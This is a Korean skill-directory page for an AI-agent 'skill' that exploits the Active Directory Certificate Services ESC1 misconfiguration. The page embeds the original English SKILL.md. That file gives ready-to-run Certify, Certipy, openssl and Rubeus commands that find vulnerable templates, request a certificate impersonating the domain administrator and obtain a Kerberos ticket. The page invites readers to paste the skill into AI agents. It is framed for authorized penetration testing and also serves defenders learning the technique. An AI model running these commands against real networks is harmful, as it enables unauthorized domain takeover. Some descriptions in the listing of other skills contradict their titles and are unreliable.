exploiting-active-directory-certificate-services-esc1
하는 일
이 도구는 AD CS(Active Directory 인증서 서비스)라는 보안 시스템의 흔한 결함을 악용합니다. 권한이 낮은 사용자가 도메인 관리자처럼 권한이 높은 사용자인 척하여 더 높은 접근 권한을 얻을 수 있게 합니다.
사용하는 경우
- ✓기업 네트워크에서 허가된 보안 테스트를 할 때.
- ✓인증 시스템에서 공격이 어떻게 일어날 수 있는지 분석할 때.
- ✓통제된 공격 시뮬레이션으로 방어를 테스트하는 경우.
스킬 링크
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“Active Directory의 인증서 설정이 악용되어 관리자 권한을 얻을 수 있는지 테스트하고 싶습니다.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 도구는 다른 사람을 대신해 인증서를 요청할 수 있게 하는 인증서 서비스의 잘못된 설정을 찾습니다. 찾으면 관리자를 사칭하는 가짜 인증서를 만들고, 이를 사용해 시스템 전체에 대한 접근 권한을 얻습니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Exploiting Active Directory Certificate Services ESC1
Overview
ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).
When to Use
- When performing authorized security testing that involves exploiting active directory certificate services esc1
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
- Identify vulnerable ESC1 templates with "Supply in Request" enabled
- Request a certificate specifying a Domain Admin in the SAN field
- Authenticate using the forged certificate via PKINIT to obtain a TGT
- Escalate privileges to Domain Admin using the obtained Kerberos ticket
- Document the full attack chain for the engagement report
MITRE ATT&CK Mapping
- T1649 - Steal or Forge Authentication Certificates
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1078.002 - Valid Accounts: Domain Accounts
- T1484 - Domain Policy Modification
- T1087.002 - Account Discovery: Domain Account
Workflow
Phase 1: AD CS Enumeration
- Enumerate Certificate Authority (CA) servers in the domain:
# Using Certify (Windows) Certify.exe cas # Using Certipy (Linux/Python) certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 - Enumerate all certificate templates and identify vulnerable ones:
# Using Certify - find vulnerable templates Certify.exe find /vulnerable # Using Certipy - outputs JSON and text reports certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable - Verify ESC1 conditions on identified templates:
msPKI-Certificate-Name-FlagcontainsENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsagecontains Client Authentication or Smart Card LogonmsPKI-Enrollment-Flagdoes not require manager approval- Low-privileged group (Domain Users, Authenticated Users) has Enroll rights
Phase 2: Certificate Request with Arbitrary SAN
- Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
# Using Certify (Windows) Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator # Using Certipy (Linux) certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local - The CA issues a certificate with the Domain Admin's UPN in the SAN field
- Save the output certificate in PFX/PEM format
Phase 3: Authentication with Forged Certificate
- Convert the certificate if needed (Certify outputs PEM, convert to PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - Authenticate using PKINIT to obtain a TGT for the impersonated user:
# Using Rubeus (Windows) Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt # Using Certipy (Linux) certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
…
자주 묻는 질문
AD CS란 무엇인가요?
기업 네트워크 안에서 인증과 보안을 위해 디지털 인증서를 관리하는 Microsoft 서비스입니다.
‘권한 상승’은 무엇을 뜻하나요?
처음보다 더 높은 접근 권한을 얻는 것입니다. 예를 들어 일반 사용자에서 관리자가 되는 것입니다.
이 도구를 사용하려면 허가가 필요한가요?
네, 이 도구는 허가된 보안 테스트에만 사용해야 합니다. 허가 없이 사용하는 것은 불법이며 비윤리적입니다.
상세 정보
작성자의 원본 설명
Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
인기도
- GitHub 스타
- 35k
- 순위
- #7897
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 8. 31.
댓글
- …
이 저장소의 다른 스킬
abusing-dpapi-for-credential-access
35kAI 에이전트에게 특정 작업을 위한 준비된 지침을 제공해, 더 잘하고 더 빠르게 처리하도록 합니다.
abusing-shadow-credentials-for-privesc
35kAI 에이전트가 명확하고 잘 구성된 텍스트를 쓰도록 가르칩니다.
achieving-cmmc-level-2-compliance
35kCMMC Level 2 규정 준수를 위한 환경을 준비하도록 돕습니다. 보안 요구 사항을 구현하고 필요한 문서를 관리합니다.
acquiring-disk-image-with-dd-and-dcfldd
35k에이전트가 하드 드라이브의 정확한 복사본을 만들도록 돕습니다. 조사 중 정보가 손실되거나 변경되지 않도록 하는 데 유용합니다.